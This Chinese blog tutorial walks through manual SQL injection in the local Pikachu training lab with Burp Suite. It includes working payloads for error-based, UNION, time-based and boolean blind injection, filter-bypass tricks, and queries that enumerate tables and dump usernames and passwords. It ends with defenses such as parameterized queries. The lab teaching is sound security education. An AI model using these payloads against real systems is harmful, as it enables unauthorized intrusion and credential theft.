三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

告别脚本小子:手把手教你用Burp Suite手动挖掘Pikachu靶场的SQL注入漏洞

告别脚本小子:手把手教你用Burp Suite手动挖掘Pikachu靶场的SQL注入漏洞

告别脚本小子:手把手教你用Burp Suite手动挖掘Pikachu靶场的SQL注入漏洞

在网络安全领域,SQL注入始终是最具破坏力的漏洞之一。不同于依赖自动化工具的"脚本小子",真正的安全专家需要掌握手动挖掘漏洞的核心技能。本文将带你深入Pikachu靶场,通过Burp Suite这一专业工具,从零开始构建完整的SQL注入攻击链。

1. 环境准备与目标分析

Pikachu靶场是一个专为Web安全学习设计的漏洞演练平台,其SQL注入模块模拟了真实业务场景中的各种注入场景。在开始前,我们需要:

  • Burp Suite Community/Professional:推荐2023.6以上版本
  • 浏览器配置:Chrome/Firefox+Proxy SwitchyOmega插件
  • 靶场访问:本地部署的Pikachu环境(http://localhost/pikachu)

关键检查点

# 测试靶场连通性 ping localhost curl -I http://localhost/pikachu

靶场中的用户登录模块是我们重点关注的入口点。通过分析,我们发现几个典型注入场景:

  1. 登录表单(POST请求)
  2. 搜索框(GET请求)
  3. HTTP头部(Cookie/User-Agent)
  4. 数据修改操作(UPDATE语句)

2. 请求捕获与初步探测

启动Burp Suite后,按以下流程配置:

  1. 浏览器代理设置为127.0.0.1:8080
  2. 访问靶场登录页面
  3. 在Burp的Proxy模块捕获请求

典型请求示例

POST /pikachu/vul/sqli/sqli_str.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 38 username=test&password=123456&submit=submit

注意:所有测试应在授权环境下进行,真实渗透必须获得书面许可

3. 注入类型识别技术

3.1 字符型注入检测

在登录框输入单引号触发错误:

admin' --

观察响应中的数据库错误信息,这是判断注入点的黄金标准。

响应特征对比表

输入内容正常响应异常响应
admin登录失败-
admin'-SQL语法错误
admin'--登录失败可能注入成功

3.2 数字型注入检测

对于ID参数,测试算术运算:

id=2-1 # 应返回与id=1相同结果 id=1 and 1=2 # 应返回空结果集

3.3 盲注识别技巧

当无显错信息时,使用时间延迟检测:

admin' AND (SELECT sleep(5))--

用Burp的Repeater模块精确测量响应时间差异。

4. 高级注入技术实战

4.1 联合查询利用

确定列数后构造联合查询:

' UNION SELECT null,version(),null--

关键步骤

  1. 通过ORDER BY确定列数
  2. 使用UNION ALL避免去重干扰
  3. 替换null为实际查询函数

4.2 报错注入精要

利用数据库函数触发错误回显:

' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--

常用报错函数对比

函数MySQLMSSQLOracle
报错提取updatexml()convert()utl_inaddr
版本检测@@version@@versionbanner

4.3 布尔盲注自动化

编写Burp Intruder攻击载荷:

# 判断数据库名首字母 payload = "admin' AND ascii(substr(database(),1,1))={code}--"

攻击配置要点

  • 载荷类型:Numbers
  • 范围:ASCII可打印字符(32-126)
  • 结果过滤:检查响应长度差异

5. 防御绕过实战技巧

5.1 注释符变体

不同数据库的注释方式:

MySQL: --+ 或 # MSSQL: -- 或 /* */ Oracle: -- 或 /* */

5.2 编码绕过技术

十六进制编码示例:

SELECT * FROM users WHERE username=0x61646d696e

5.3 过滤器绕过策略

常见绕过手法

  • 大小写混合:SeLeCt
  • 内联注释:/!SELECT/
  • 空白符替代:%09(制表符)

6. 数据提取与权限提升

获取数据库信息后,系统化提取数据:

  1. 枚举表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
  1. 提取字段:
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
  1. 最终数据获取:
SELECT GROUP_CONCAT(username,':',password) FROM users

敏感数据保护建议

  • 始终对密码哈希值进行爆破而非直接使用
  • 企业环境中应立即报告漏洞而非继续渗透

7. 防御措施深度解析

从开发角度预防SQL注入:

  1. 参数化查询示例(Python):
# 错误方式 cursor.execute("SELECT * FROM users WHERE username='%s'" % username) # 正确方式 cursor.execute("SELECT * FROM users WHERE username=%s", (username,))
  1. 输入验证正则表达式:
^[a-zA-Z0-9_]{4,20}$ # 用户名基础验证
  1. 最小权限原则:
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.* TO 'webapp'@'localhost';

真正的安全专家不仅要掌握攻击技术,更要理解防御原理。在Pikachu靶场的实战中,我常发现初学者容易忽视响应时间的细微差异,而这往往是盲注突破的关键。建议每次测试后查看服务器日志,从防御者角度思考攻击痕迹。

← 返回列表